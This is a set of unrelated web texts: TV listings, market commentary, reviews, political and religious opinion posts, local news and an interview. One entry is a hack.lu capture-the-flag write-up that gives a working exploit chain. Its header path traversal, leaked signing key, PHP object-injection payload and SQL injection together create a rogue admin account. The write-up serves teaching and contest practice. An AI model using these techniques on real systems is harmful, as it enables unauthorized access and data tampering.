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The alphabet network has announced the upcoming premiere dates for the series debut of drama Mind Games (February 25th at 10pm), the new season of Dancing with the Stars (March 17th at 8pm), and a new date for the series launch of Black Box (April 24th at 10pm).
In addition, they've offered details about a two-night Bachelor event and a new Toy Story special.
Here's the press release:
ABC ANNOUNCES PREMIERE DATES FOR NEW DRAMA SERIES "BLACK BOX" ALONG WITH "Dancing with the Stars" AND AN ALL-NEW DISNEY•PIXAR SPECIAL, "TOY STORY THAT TIME FORGOT," FOR THE 2014 HOLIDAY SEASON
Two-Night Event Scheduled For "The Bachelor," And New Premiere Date for "Mind Games" on Tuesday, February 25
Paul Lee, president, ABC Entertainment Group, today announced premiere dates for the new drama series "Black Box" on THURSDAY, APRIL 24 (10:00-11:00 p.m., ET), along with a new season of "Dancing with the Stars" on MONDAY, MARCH 17 (8:00-10:00 p.m., ET), and the pick-up of an all-new Disney•Pixar holiday special, "Toy Story That Time Forgot" for the 2014 holiday season, following the recent success of "Toy Story OF TERROR!."
The network also announced a special two-night "Bachelor" event featuring everyone's favorite Bachelor, Juan Pablo Galavis, on MONDAY, FEBRUARY 24 and TUESDAY, FEBRUARY 25 (8:00-10:00 p.m., ET), and new drama "Mind Games" will now premiere on TUESDAY, FEBRUARY 25 (10:00-11:00 p.m., ET), following night two of the "Bachelor" event.
Following is information about the series and special, in alphabetical order:
"The Bachelor" (Monday, February 24 & Tuesday, February 25, 8:00-10:00 p.m., ET)
Juan Pablo Galavis, the former Venezuelan soccer player, stepped out of the limo to meet last season's Bachelorette, Desiree Hartsock, and into the hearts of female fans across the country who were taken with his sincerity, easy-going charm and good looks. The dashing single dad, very devoted to his daughter, Camila, was ready to find love. Juan Pablo became one of the most talked about men of the season, despite failing to win Desiree's heart. The fans spoke and now Juan Pablo is back for his own chance to find the love of his life, wife and stepmother to his daughter.
Hosted by Chris Harrison, "The Bachelor" is a production of Next Entertainment in association with Warner Horizon Television. Mike Fleiss, Martin Hilton and Alycia Rossiter are the executive producers.
"BLACK BOX" (Thursday, April 24 10:00-11:00 p.m. ET)
Catherine Black is a world-famous neurologist at the state-of-the-art medical institution known as "The Cube." Catherine is brilliant, beautiful, and at the top of her game, though she's hiding a secret of her own: she's bipolar. Each week, the doctors on staff attempt to unravel the mysteries of the brain and are constantly challenged by cases never-before-seen on television. The medical stories are moving, bizarre and a visual feast. The personal stories are riveting. The patients have rare, highly visual, often hallucinogenic and startling conditions, which we'll see through their eyes as Catherine diagnoses and treats them.
"Black Box" stars Kelly Reilly as Catherine Black, Ditch Davey as Dr. Ian Bickman, David Ajala as Will Van Renseller, Ali Wong as Dr. Lina Lark, Laura Fraser as Reagan Black, David Chisum as Joshua Black, Siobhan Williams as Esme Black with Terry Kinney as Dr. Owen Morely and Vanessa Redgrave as Dr. Hartramph.
"Black Box" was written by Amy Holden Jones ("Mystic Pizza," "Indecent Proposal"). Simon Curtis ("My Week with Marilyn") is the director. Ilene Chaiken ("The L Word"), Amy Holden Jones, Bryan Singer ("House," "X-Men"), Anne Thomopoulos ("Oz," "From the Earth to the Moon"), Oly Obst, Gary Michael Walters ("Drive," "Bobby"), David Lancaster ("Drive," Broadway's "The Bridges of Madison County") and Michel Litvak are the executive producers. The series is a production of Bold Films Television.
"Dancing with the Stars" (Monday, March 17, 8:00-10:00 p.m., ET)
"Dancing with the Stars" returns for its 18th season with an all-new celebrity cast. The competition will feature twelve celebrities who will brave the dance floor for the very first time. Each week, these celebrities will leave their comfort zones and endure hours of grueling rehearsals to master technical choreography and entertaining performances. In the end, only one star will rise above the rest to be crowned champion and win the coveted mirror-ball trophy.
Hosted by Emmy® Award-winning Tom Bergeron ("America's Funniest Home Videos") and Brooke Burke-Charvet ("Dancing with the Stars" Season 7 Champion), "Dancing with the Stars" is the hit series in which celebrities perform choreographed dance routines which are judged by renowned ballroom judge Len Goodman and dancer/choreographers Bruno Tonioli and Carrie Ann Inaba.
"Dancing with the Stars" is produced by BBC Worldwide Productions. Conrad Green, Ashley Edens-Shaffer and Joe Sungkur are executive producers. Alex Rudzinski directs.
"MIND GAMES" (Tuesday, February 25, 10:00-11:00 p.m. ET)
With a little bit of science, a dash of con-artistry, plus a smattering of Jedi Mind Tricks, brothers Ross (Christian Slater) and Clark Edwards (Steve Zahn) can tailor a plan to influence any life-altering situation, thereby making their clients' dreams come true and their nightmares go away. They are partners in Edwards and Associates, an unusual business based on the belief that people's decisions are influenced by their environment in ways they're not aware.
By using the hard science of psychological manipulation, the brothers commit to solving their clients' problems. With Clark's expertise and Ross's con artist ways, each believing to know what makes people tick, and with their unique staff to help them, the brothers will use psychology and science to offer clients an alternative to their fates.
"Mind Games" stars Steve Zahn as Clark, Christian Slater as Ross, Megalyn Echikunwoke as Megan, Gregory Marcel as Miles, Jaime Ray Newman as Sam, and Cedric Sanders as Latrell.
Written and executive-produced by Kyle Killen, the series is also executive-produced by Keith Redmon, Timothy Busfield and Donald Todd. "Mind Games" is a 20th Century Fox Television production.
"TOY STORY THAT TIME FORGOT" (Holiday 2014)
"Toy Story That Time Forgot," Disney•Pixar's new Christmas special featuring your favorite characters from the "Toy Story" films, will air during the holidays this year on ABC. The special comes on the heels of the success of "Toy Story OF TERROR!," which premiered to stellar ratings this past October.
During a post-Christmas play date, the "Toy Story" gang find themselves in uncharted territory when the coolest set of action figures ever turn out to be dangerously delusional. It's all up to Trixie, the triceratops, if the gang hopes to return to Bonnie's room in this "Toy Story That Time Forgot."
ABC's October 2013 premiere of "Toy Story OF TERROR!" ranked No. 1 in its time period among Total Viewers (10.5 million) and Adults 18-49 (3.1/10), giving the Net its best performance in the half-hour in nearly 2 years – since 11/09/11. In addition, it was the night's dominant No. 1 show with Kids 2-11 posting the Net's highest rating in the half-hour in almost 6 years – 11/28/07.
The cast of "Toy Story That Time Forgot" includes Tom Hanks as Woody, Tim Allen as Buzz, Kristen Schaal as Trixie, Kevin McKidd ("Grey's Anatomy") as Reptillus Maximus, Wallace Shawn as Rex, Timothy Dalton as Mr. Pricklepants, Don Rickles as Mr. Potato Head and Joan Cusack as Jessie.
"Toy Story That Time Forgot" is produced by Galyn Susman and directed by Steve Purcell. The special is from Disney•Pixar.


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You can't keep a good market down, so why is everyone so darn worried about the stock market? Could it be that too much of a good thing may be dangerous to your financial health? If so, someone should tell the bulls.
Truly, no one should be complaining. Here we are at the end of May, normally a month where the markets come under selling pressure, and we are a mere five points away from the S&P 500 Index's all-time high. The contrarian in me says that too many people are waiting for the shoe to drop right now, so it probably won't.
Officially, it is the Memorial Day weekend that kicks off the herd migration from Wall Street's gray canyons and valleys to more amenable vistas. Highly-polished Wing-tips are exchanged for Gucci sandals, as the high and mighty head for the over-crowded beaches and multi-million dollar "cottages" of Long Island and the Hamptons.
Those who remain are the young and ambitious. Without much trading authority, they will have a hard time moving markets. Nonetheless, they will attempt to make a killing for their bosses at the expense of the rest of us. As market volume dries up this summer, it is a toss-up on whether markets become even more volatile or simply wallow in apathy and neglect.
In my career, I have seen both during the summer doldrums. In recent years, the markets have tended to be more volatile with fairly large declines in June and July. In other periods, you could hear a pin drop for weeks at a time on New York trading floors. I'm betting we see more volatility than less.
While the markets continue to grind higher so does the short interest in the stock market. Short interest is the quantity of stock shares that investors have sold short but not yet covered or closed out. Many strategists use short interest as a market-sentiment indicator, since it indicates how many investors think a stock's price (or market) is likely to fall. Both the short interest aggregate dollar amount of the S&P 500 Index and short interest ratio (days to cover or buy back these shorts) are at levels not seen since mid-2007. We all know how that ended for investors. The markets continued to make new highs until the end of the year and then subsequently crashed in 2008-2009.
Last week the markets touched my S&P 500 Index target of 1,900—briefly.
It was so quick that I half hoped we would make another stab at that level and possibly break it. It appears we are trying to accomplish that as I write this. Markets are never neat and tidy so if we break this level to the upside, I would expect a bout of short-covering which could propel the markets higher by another 20-40 points quickly. At the same time, I think too many people are bearish for a sell-off right here and now. If we were to see a fast jump higher and a panic stampede into the market at that time we just might be set up for a last hurrah.
Have a happy Memorial Day weekend. But while you are grilling, swimming or just plain having fun, do me a favor. Take a moment to remember our servicemen and women both past and present. I know I will be remembering my buddies in Vietnam that didn't make it. Semper Fi.

subset: commoncrawl


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Contact me at firstname.lastname@example.com to be put on the waiting list.
Please read the Sales Disclaimer below before contacting me.
All are sold at this time! But I hope to have some litters born soon!
Updated January 6, 2016
Sales Disclaimer: Each rabbit comes with a bag of food. A pedigree and care guide will be supplied if requested.
Rabbits are not toys or accessories. They are living creatures that require very basic care. Health is guaranteed for 1 week against illness but NOT carelessness or injury. Any undefined illness must be confirmed by a vet and documented. Note that loud children, pets or other noises may startle any rabbit and cause injury or death. It is your responsibility to provide a safe and secure home for your rabbit.
I reserve the right to refuse sale of any animal to any person at any point, no matter the reason. If I cancel a sale, all deposits will be refunded.
Rabbits may be held for a pre-agreed amount of time with a 50% NON REFUNDABLE deposit. Sales are first come, first served unless a deposit for a specific animal has been made.
I run a CLOSED rabbitry. I no longer meet people purchasing pets at my home due to a previous incident. We will meet nearby in a parking lot at a specific time.


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Faced with cleaning up Asgard after Loki's (Tom Hiddleston) treachery in the first Thor film and in The Avengers, Thor (Chris Hemsworth) has a huge task ahead before he can be with Jane Foster (Natalie Portman) on Earth. Between Thor and his flame on Midgard (Earth) stands Malekith (Christopher Eccleston) and the remnants of the Dark Elves, who want to return the universe to darkness. With Odin (Anthony Hopkins) wanting to step down from the throne and his brother Loki imprisoned, Thor must find the strength to stop the Dark Elf threat and return order to Asgard once and for all.
The tricky thing about making a Thor film is to not make it like a Superman film. Unfortunately, while this wasn't the worst film I've seen….it's just not unique enough to truly set it apart from other superhero films in the genre and it's definitely not different enough from Man of Steel to set it apart from DC Comics' much more popular, titular character.
The comic book version of Thor really is interesting. He's noble and follows a code of honor but can also be a real misogynistic asshole. I mean, he's a viking. He's a demigod. He's a womanizing tough guy with a heart of gold, somehow. So what we have in the movie version is a lame, good-looking, soft, warrior-archetype Superman clone with a hammer and an accent.
While I love Natalie Portman, her character in this film (and in the first) is mostly superfluous and unnecessary. It's a way to tie him to Midgard, but the chemistry and connection between Thor and Jane doesn't really exist on-screen and so when Thor wants to return to Earth to be with her, it's just not believable. They should have focused more on his relationship with Sif (who is much more interesting than Jane, and a much stronger woman character). Whatever time Sif and Thor share onscreen is more dramatic and poignant than time spent between Jane and Thor. (I also want to note that people think Jane's character is a sexist trope, but Thor is a demigod. She's meant to be smitten by him. Guys would be equally as smitten by Sif if she showed up, as long as she didn't disembowel them.)
Thor: The Dark World had the promise of being a more rich and intensive film experience than the first film, but really….it sort of fell short. Loki was the one saving grace of the film, not only because Hiddleston is a fantastic actor but because Loki's character is allowed to roam free in the realm of human morality. Thor has that ability, too. He's not just a jock with a hammer. He's not just an alien demigod with a penchant for eating mutton and bedding babes. He's Thor. He's badass. Too bad he really wasn't in this film.
It's worth seeing at least once to complete the Avengers tie-ins (and it IS Thor), and there's kind of a weird/creepy/unexpected cameo bit after the credits with someone you wouldn't expect to see in a Marvel film. It just should've been better.
JOE Rating: ★★★


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Gov. candidate hopes to hit ground running in 2014
Mary Burke visits Uplands Cheese Wednesday
MADISON, Wis. — Wisconsin is in an election year, and Democratic governor candidate Mary Burke is hoping to hit the ground running in the New Year.
"People want leadership in this state that is going to bring people together. We do our best work, we focus on the issues that matter most to the people in Wisconsin. I hear people concerned about the same issues, whether you're in Ashland or Kenosha or here in Madison," Burke said.
Burke toured Uplands Cheese in Dodgeville Wednesday.
She said she's excited about the campaign and recent fundraising numbers that show she's raised more than $1.8 million. Burke said a majority of those donations have been less than $100.
Fundraising reports are due to the Government Accountability Board by the end of the month.


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I have had a few back and forth discussions with Christians in the short time I have been an open and notorious atheist (open to everyone, notorious to only a select few) regarding the current clime of opinion regarding Christianity in North America. In a nutshell, Christians in the United States (particularly) and Canada (occasionally) complain that Christians are being 'persecuted' for their faith. It is a ridiculous claim, and a poorly-disguised attempt to re-brand themselves as victims of some kind of concerted effort to stamp out Christianity. Even the friggin' Pope buys into this nonsense.
As "evidence" for this claim, Christians often point to the fact that secularists and atheists talk most often about Christianity, when there are a number of other perfectly bad religions to complain about. The response to this claim is so trivially easy to supply, it honestly makes me question whether or not the people who repeat it have put any thought into their argument whatsoever – it's because Christianity has been the dominant religion in this continent for generations. It is deeply entrenched in our history and our culture, so much so that people try to claim that it is the foundation of our heritage (a ridiculous claim I have refuted before).
If you look to another country where there is a different religious tradition, you'll find the same kind of whining:
One of India's leading Muslim groups has appealed against a ruling over the Ayodhya holy site, where a Hindu mob destroyed a mosque 18 years ago. Two months ago, Lucknow High Court said the land should be divided, and that the razed 16th century mosque should not be rebuilt. Jamiat-Ulama-i-Hind says the judgement appears to be based not on evidence but on the professed belief of Hindus.
The whiners, in this case, are the Hindus, who have tried to bring their totally ridiculous beliefs to bear in a land dispute. The Lucknow court appears to consider superstition worthwhile legal evidence. I want to try that – break into someone's house and when the cops come to arrest me say "but I really believe I live here!" I'd be lucky to escape a mental institution, let alone jail.
I've made this point before, but the so-called "persecution" of Christians in this country is essentially just a reflection of privilege. They (though surely not all of them) complain that they're being "oppressed", when what's really happening is that people are not letting them get away with whatever they want anymore. You're welcome to believe privately that homosexuality is a sin, or that abortion is murder. You can even go out in the public square and scream your head off about it. However, you're not allowed to impose the consequences of your personal beliefs on others, particularly if there is specific legislation against it.
Some people on the other side of this conversation will reply with something ridiculous like "well if a Christian gets discriminated against, nobody says anything!" Nobody says anything because that never happens! It's like when men complain about being the targets of sexual discrimination because they aren't allowed to make sexist jokes at work or when conservatives say that universities are "intolerant" of conservative viewpoints. It's only by stretching the definitions of those words beyond what any reasonable person would recognize that these become even passably accurate claims. Not being allowed to offend others is not "discrimination", it's politeness. Not tolerating opinions that are based on fallacious reasoning and intentional twisting and cherry-picking of facts is not "intolerance", it's logic.
Not having your personal beliefs (founded on unprovable assertions and easily-recognized logical fallacies) recognized as legitimate is not "persecution", it's fairness.
Like this article? Follow me on Twitter!


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This week we organized the Capture-The-Flag contest for the hack.lu conference in Luxembourg. It was open to local and remote participating teams and played by nearly 60 teams. My task was to write the scoreboard and some web challenges. The big topic was "pirates". Everything is mirrored at http://hacklu.fluxfingers.net/ where you can find lots of other cool challenges and writeups.
In challenge 21 the players were given a website of a criminal pirate organization stealing gold. The task was to hack the website and to find out, how much gold the leader 'Jack' has stolen so far.
In the "Support us" area one can upload new language files for the website. However an upload of any random file says that the file was not signed and therefore ignored. However there is a hint in the text:
Our website supports 10 international languages (automatically detected) and we are always looking for help to support new languages. If you are interested, please contact us for more information and to receive the key for signing your language file.
Also 10 different flags on top of the site menu show which languages are supported. How are those languages detected automatically? By the Accept-Language-header your browser sends automatically. You can verify this by sending different header values (I prefer using Live HTTP Headers). In example Accept-Language: es will show the website with spanish text.
The quote shown above also reveals that the website uses language files. Also sending a unsupported language in the header leads to the following error:
Accept-Language: foobar
Language (foobar) not available. Switching to default (en).
We know that the website fetches the text from files. Lets try a path traversal:
Accept-Language: index.php
Language (index.php) not available. Switching to default (en).
Accept-Language: ../index.php
Could not import language data from '<?php ..code.. ?>'
Sweet, the error reveals the source code. Now we can download all files that are included and analyse the source code.
The source code reveals, that there is a hidden ?id=17 displaying the admin login interface. Behind this interface the current gold status of the logged in captain is shown. The task is to find out captain Jack's gold status so we need to login as 'Jack'. Lets see how we can accomplish that.
The file worker/funcs.php reveals how the language files work. Basically all language data is stored serialized in files. Those language files are stored in messages/. Each language file also has to have the serialized variable $secretkey set to "p1r4t3s.k1lly0u" to pass the check if the file is signed. Then, all data is unserialized and assigned to the global array $messages which will be used to display the text throughout the website.
Now we know the key to sign we can upload our own files. To create a valid serialized file we can simply use the following php code:
<?php $messages = array("secretkey" => "p1r4t3s.k1lly0u"); echo serialize($messages); ?>
which will give you:
You can also write this down manually (small introduction to serialize syntax):
a:1: create array with 1 element
{: array start
s:9:"secretkey": array key: string with 9 characters
s:15:"p1r4t3s.k1lly0u": array value: string with 15 characters
}: array end
However we can not directly browse to messages/ because we get a 403 forbidden for this path. Uploading a signed php file with php code (php shell) within the serialized strings will not work here.
Investigating the object-oriented code in worker/mysql.php shows how the database queries and connection is handled. For each request to the PIGS website a new class object sql_db is created. This object is initialized with the reserved function __wakeup() and later destroyed with the reserved function __destruct(). One can see that when the function __destruct() is triggered, the function sql_close() is called. On the first look this looks unsuspicious. However when looking at the function sql_close() we see that a log event is initiated.
function __destruct() { $this->sql_close(); } function sql_close() { [...] $this->createLog(); [...] } function createLog() { $ip = $this->escape($_SERVER['REMOTE_ADDR']); $lang = $this->escape($_SERVER['HTTP_ACCEPT_LANGUAGE']); $agent = $this->escape($_SERVER['HTTP_USER_AGENT']); $log_table = $this->escape($this->log_table); $query = "INSERT INTO " . $log_table . " VALUES ('', '$ip', '$lang', '$agent')"; $this->sql_query($query); }
So every request will be logged into the table that the current sql_db object has been initialized with (logs) during the constructor call sql_db(). The inserted values are all escaped correctly, so no SQL injection here. Or maybe there is?
The function __destruct() of every instanced object is called once the php interpreter has finished parsing a requested php file. In PIGS for every request an object of sql_db is created and after the php file has been parsed the __destruct() function is called automatically. Then, the function sql_close() is called which calls the function createLog().
When uploading a language file that contains a serialized sql_db object this object will be awaken and lives until the rest of the php code is parsed. When the createLog() function is called for this object within the __destruct() call, the locale variable log_table is used in the sql query that creates the logentry. Because this locale variable can be altered in the serialized string uploaded with the file, SQL injection is possible.
To trigger the vulnerability we create a signed language file with the key and with a sql_db object that has an altered log_table. Since we need to login as user 'Jack' we simply abuse the INSERT query of the createLog() function to insert another user 'Jack' with password 'bla' to the users table:
INSERT INTO $log_table VALUES ('', '$ip', '$lang', '$agent') $log_table=users VALUES ('', 'Jack', 'bla', '0')-- -
the query will become:
INSERT INTO users VALUES ('', 'Jack', 'bla', '0')-- -VALUES ('', '$ip', '$lang', '$agent')
which will insert the specified values into the table users. The table name is escaped before used in the query, however a table name is never surrounded by quotes so that an injection is still possible. We simply avoid quotes with the mysql hex representation of strings. To build the serialized string we can instantiate a modified sql_db object ourselves and serialize it. The mysql connection credentials can be read from the leaked source code files.
<?php class sql_db { var $query_result; var $row = array(); var $rowset = array(); var $num_queries = 0; function sql_db() { $this->persistency = false; $this->user = 'pigs'; $this->password = 'pigs'; $this->server = 'localhost'; $this->dbname = 'pigs'; $this->log_table = "users VALUES (0, 0x4A61636B, 0x626C61, 0)-- -"; } } $db = new sql_db(); $payload = array ( 'secretkey' => 'p1r4t3s.k1lly0u', $db ); echo serialize($payload); ?>
Now we can simply save the serialized payload into a file and upload it.
a:2:{s:9:"secretkey";s:15:"p1r4t3s.k1lly0u";i:0;O:6:"sql_db":10:{s:12:"query_result";N;s:3:"row";a:0:{}s:6:"rowset";a:0:{}s:11:"num_queries";i:0;s:11:"persistency";b:0;s:4:"user";s:4:"pigs";s:8:"password";s:4:"pigs";s:6:"server";s:9:"localhost";s:6:"dbname";s:4:"pigs";s:9:"log_table";s:45:"users VALUES (0, 0x4A61636B, 0x626C61, 0)-- -";}}
The language file will successfully pass the key-check and the language data will be unserialized. Then the sql_db object will be created with the modified log_table variable. Finally the __destruct() function is called automatically and the log_table will be used during the createLog() function which triggers the SQL injection and the INSERT of a new user 'Jack'. Now we can login into the admin interface with our user 'Jack' and the password 'bla'. Then the function printGold() is called for the username that has been used during the successful login.
function printGold() { global $db; $name = $db->escape($_POST['name']); $result = $db->sql_query("SELECT gold FROM users WHERE name='$name'"); if($db->sql_numrows($result) > 0) { $row = $db->sql_fetchrow($result); echo htmlentities($name).'\'s gold: '.htmlentities($row['gold']); } }
The first matching account with the user 'Jack' will be returned instead of our own and we finally retrieve the gold and the solution to this challenge: 398720351149
This challenge was awarded with 500 points because it was quite time consuming. However if you have followed Stefan Esser's piwik exploit it should have been straight forward once you could download the source code. Funnily I have seen one team exploiting the SQL injection blindly 😉
Update: there is another writeup for this challenge in french available here


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The paparazzi… Needless to say, there is a third family member (me) taking the photo. But what I could not document in this shot of my brother and his eldest child—due to tight angles and wild dancing on the part of even more family members at a raucous get together this past summer—is my father on the opposite side of the room also taking photos.
So are there any hobbies (like photography) that your family gravitates toward?
Happy hunting,


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Nursing home costs top $80,000 a year
NEW YORK (CNNMoney) -- The cost of living at a nursing home has soared to a new high of more than $80,000 per year.
Over the past five years, the median annual cost of private nursing home care has jumped 24% from $67,527 to $83,950, according to Genworth's 2013 Cost of Care Survey, based on data from nearly 15,000 long-term care providers. From 2012 to 2013 alone, the price climbed 4%.
A combination of factors are pushing costs higher, said Bob Bua, vice president of Genworth. Expenses like insurance, food, building maintenance and labor costs are all going up and being passed along to customers as a result.
" rarely get pay decreases, food rarely costs less, rent rarely goes down -- it's an ever-increasing cycle," Bua said.
It's not much cheaper for a semi-private room at a nursing home, where space is shared with at least one other person. This rings up at a median $75,405 per year -- up 23% from five years ago.
Related: Talking money with your aging parents
A less expensive alternative to nursing homes are assisted living facilities because they don't offer the same level of care, but these are also seeing significant price increases from year-to-year. The median annual cost of care in an assisted living facility is $41,400, up nearly 5% from last year and 23% higher than five years ago, Genworth found.
The cost of at-home care, such as home health aides or homemakers, is rising at a much slower pace.
Hiring a homemaker, who typically assists seniors with cleaning, cooking and transportation, currently costs a median $41,756 per year -- up just 1% from last year and a mere 4% increase from five years ago. Home health aides, who provide more hands-on care like bathing and grooming, cost $44,479 per year -- up 5% from five years ago.
At-home care is also the most attractive option for many seniors. A separate Genworth study found that 78% of respondents would prefer to receive care in their own homes rather than go to a nursing home or assisted living facility.
Competition among home care providers to meet this high demand is keeping prices competitive, said Bua. In fact, home health aides are now the fastest growing job in the country, according to the Labor Department.
"There's so much competition in the home care arena that prices stay low -- you can vote with your feet," he said.


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Farm to Table dinner series kicks off Thursday
The movement to consume locally grown foods is on the rise, and one local bed and breakfast has partnered with a downtown restaurant to host a series of "progressive dinners" that begins Thursday.
"We want to bring awareness about local food and support local farmers and enjoy the benefits of good, fresh food," said Cornelia Holbrook, owner of the Sweetwater Branch Inn.
The term progressive dinner refers to the sharing of locations for different courses of the meals. Diners will be served the appetizer, main course and wine at Sweetwater, then take an optional shuttle to the Fat Tuscan Cafe for dessert, coffee and fruit, said Michelle Gioviti-Reeves, the owner of the Fat Tuscan, 725 NE First St.
Visitors to the Fat Tuscan won't see eggplant or veal parmesan on the menu unless it's a special, Gioviti-Reeves said.
"Our premise is that we cook in the style of the Tuscans, which is they always cook fresh, they always cook trying to use local products and they always cook from scratch," she said.
The Farm to Table Progressive Dinner Series costs $80 per person and includes five courses, a wine pairing with every course, tax and tip.
The last day to sign up for each dinner is the day of, but Holbrook encourages people to reserve space early, as the cap for each event is 30 people. The dinner starts at 6:30 p.m. and ends at 9:30 p.m. The other three dinners are Feb. 28, March 21 and April 18.
Holbrook said she first began incorporating organic foods into meals offered at the inn when it participated in the downtown farmer's market three years ago. Today, Holbrook is a regular, selling her foccacia bread, mozzarella, marinara sauce, vegan cookies and banana bread.
"We really want (the visitors) to take away the enjoyment and say 'Wow, fresh food really does taste different,'?" said Holbrook.
There will also be a presenter discussing various aspects of local food, like organic distribution and sustainability, during the appetizer portion so diners come away with a greater understanding of fresh food, Holbrook said.
The menu is not set until the day of the dinner because it isn't put together until the Wednesday night before, she added. The fruits and vegetables come from more than one farm across the area, the beef is provided by the Institute of Food and Agricultural Sciences, seafood is bought at Southern Cross Sea Farms in Cedar Key, and the poultry is provided by the inn.
Gioviti-Reeves said the desserts' ingredients are chosen from the downtown farmer's market the night before the dinner, and the desserts are made from scratch the following day.
To register, call the Sweetwater Branch Inn at 373-6760.


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Apple on Wednesday released Aperture 3.1.3, the latest update to its professional-level photography software. Included in the update are general compatibility fixes and, as always, improvements in stability and performance; as such, the new version is recommended for all Aperture 3 users.
In particular, Aperture 3.1.3 touts better reliability and performance for syncing albums published on the Web, now handles slideshow exports in the background, and allows users to enable or disable support for gestures in its preferences. In addition, the Crop tool now correctly supports gestures for defining size, users can shift-click snapshots in Faces to make contiguous selections, and published albums on MobileMe, Facebook, and Flickr now show up in a Web section of the Projects Inspector.
A handful of other patches address a problem where a blank sheet would show up during a book or print order, an issue where incorrect metadata presets were applied to imported audio, and a glitch where Aperture could quit unexpectedly when trimming audio in full-screen mode. Those who enter names in Faces that use accented, Japanese, Korean, or Simplified Chinese characters should find that process smoother, and the program also features better stability for browsing video clips and improved reliability for repairing and rebuilding your library.
The 292.02MB update requires Mac OS X 10.6.6 later and is available via Software Update and Apple's support downloads site.


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The West Hill House and 17 other Vermont Select Registry Inns are offering complimentary stays for any Vermont Guard member at one of the participating Inns. These outstanding citizen soldiers have made tremendous sacrifices for us. Thank you Vermont Guard! If you are a Vermont Guard member call us or any of the Vermont Select Registry Inns for a reservation.
At West Hill House B&B we are offering a free two-night stay to any returning Guard member and significant other during the months of January, February and March 2011 (except Presidents Week from February 20th to 24th). The offer applies to stays on Sunday through Thursday nights. Discounted ski passes are also available.
PLEASE become a fan of the Face Book fan page Welcome Home Vermont Guard. Details of the program can be found on the fan page.


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Based on my physics background, interaction is a process by which elementary particles i
In school, I was educated to believe that almost everything is predictable. Perhaps that explains why as a photographer, I am drawn to moments of spontaneity, anticipation, and surprise. There is a certain aspect of romance to the unknown — a sense of electricity and the belief that anything is possible.
"Interactions" investigates the ever-fluctuating relationship between people and animals. Specifically zooming in on elephants — a creature that has been both worshiped and tormented by man — this series aims to explore the tension in these extremes. How can the same interaction conjure from so many different outcomes: love, tenderness, fear, anger, disgust, trust, and so much more?
Employing a sense of romanticism, I am striving to capture the poetic sensibilities between creatures. Though separated by language, these pictures attempt to bottle that transcendent, unspoken bond between living beings. The connection between man and beast will always be unpredictable, but "Interactions" shows us just how beautiful that synergy can be.
Limited Editions: 13x20" (15), 20x30" (7), 34x50" (3)
Contact Oliver Klink for additional information


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Brian Fischer asks why Republicans allow themselves to be branded as stupid:
Why indeed.
Let me think. No, no, don't tell me. Could it be because of something like *this*?:
Senate Republicans on Friday pledged to block President Barack Obama's choice to lead the consumer finance watchdog until Democrats agree to restructure it, ramping up an expected fight this year over the controversial new bureau.
The group of 43 Republicans, led by minority leader Mitch McConnell of Kentucky and Mike Crapo, an Idaho senator who is the top Republican on the banking committee, said the Consumer Financial Protection Bureau lacks congressional oversight.
Yes, the Republicans are threatening to filibuster the Consumer Financial Protection Bureau nominee until the Democrats agree to weaken the agency's powers. And what is the CFPB, in case you haven't been paying attention since, oh, 2008, and the whole reason why Elizabeth Warren ran for the Senate? The agency is a watchdog for all those vexing problems that get average consumers into trouble. Like credit card rates and mortgage rates and financial industry "products" that are sold to the little people who don't know that the financiers have rigged the game. The CFPB is supposed to be on the side of the average consumer, protecting your right to not be exploited. What's not to love?
"As presently organized, the CFPB is insulated from congressional oversight of its actions and its budget," the Republicans said. "Far too much power is vested in the sole CFPB director without any meaningful checks and balances."
The consumer bureau, which was created by the 2010 Dodd-Frank financial oversight law to oversee mortgage lending and other sectors that played a role in the 2007-2009 financial crisis, was controversial before it even opened its doors.
Republicans and business groups have criticized the bureau's broad authority over a wide range of financial products, and they want it to be funded by congressional appropriations rather than through the Federal Reserve.
Oh, dear, it seems that Senator Warren knew what she was doing when she put this agency together and now, it appears to have a bit more bite in it than our financial industry overlords like. Apparently, the finance version of the FDA, checking things out for us and sticking warning labels on dangerous products, means a little too much transparency for the finance flim-flam guys. Therefore, it must be defanged.
Of course, the Fox News cohort will swing into action and tell the fanbase that this is just another intrusion of government into their lives and if you want to take risks with your money and lose every penny of it, by golly, that's your right living in god fearing America where at least you know you're free. If the financial industry so-called "jahb creators" are to continue to be successful, they have to be able to take advantage of people. That's how you get the big bucks. And anyway, if this government agency does its job right, all the other agencies might feel inspired to do good stuff too and we can't have that. I mean, it's bad enough that the Social Security administration is so efficient with such low overhead. It's obscene, I tell you. Speaking of obscene, gay people who aren't married have sex using various and sundry orifices. And women are having consensual sex! Consensually! Let's obsess on that for awhile, shall we?
If you are a Republican and you aren't super rich, you're as dumb as a doorknob. I see some of you out there saying, "I'm not a registered Republican. I'm a registered Democrat. It's none of your business who I vote for". That's worse than being a conservative Republican because you *know* that there's something unsavory and stupid about being a conservative Republican and you don't want the label but you feel entitled to vote stupid. So, not only are you voting stupid, you're a coward. I'd feel much more respect for people who at least owned their stupidity instead of hiding behind their false party affiliation. Sorry, that's just the way it is. Why anyone would want to take pride in today's definition of the word "conservative" is beyond me. It just screams stupidity to the rest of us.
Filed under: General | Tagged: brian fischer, Consumer Finance Protection Bureau, Elizabeth Warren, Mike Crapo, Republicans, stupidity | 7 Comments »


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Dancing's Lisa Vanderpump: I Have to Dance My Way Out of Trouble!
The Real Housewives of Beverly Hills won't be the only place you can see Lisa Vanderpump on Monday. The same night, the Vanderpump Rules star will hit the parquet on Dancing with the Stars with new pro Gleb Savchenko. "I'm not out for reality domination," she tells TVGuide.com. "It just worked out this way that I was able to do Dancing with Housewives and Vanderpump Rules being done." What are her expectations? Which Housewives have she heard from? And will her precious pup Giggy hit the floor too?
PHOTOS: Check out the new Dancing with the Stars cast
How's everything going?
Lisa Vanderpump: Everything is harder than I can imagine. It's a challenge. Who knows what will happen at this point?! [Laughs] Everything is out of my comfort zone because I've never done any of this before. But Gleb is wonderful. He has a great sense of humor and we're having a lot of fun.
How would you rate yourself so far?
Vanderpump: It's not even on a scale! [Laughs] It needs a lot of work before it's on any scale!
Are you sure you're not being too hard on yourself?
Vanderpump: I'm not! Everything is out of my comfort zone because I've never done any of this before. The steps, the counting, the posture, the choreography - and doing them all at the same time! I'm hoping I'll be more used to it as the show goes on if we don't get eliminated.
You've busted a few moves on Real Housewives, but do you have any dance experience?
Vanderpump: When I was a kid, years ago, so that doesn't help me that much now! Nothing in ballroom though.
You're the first Real Housewife to do Dancing. Have they asked you before?
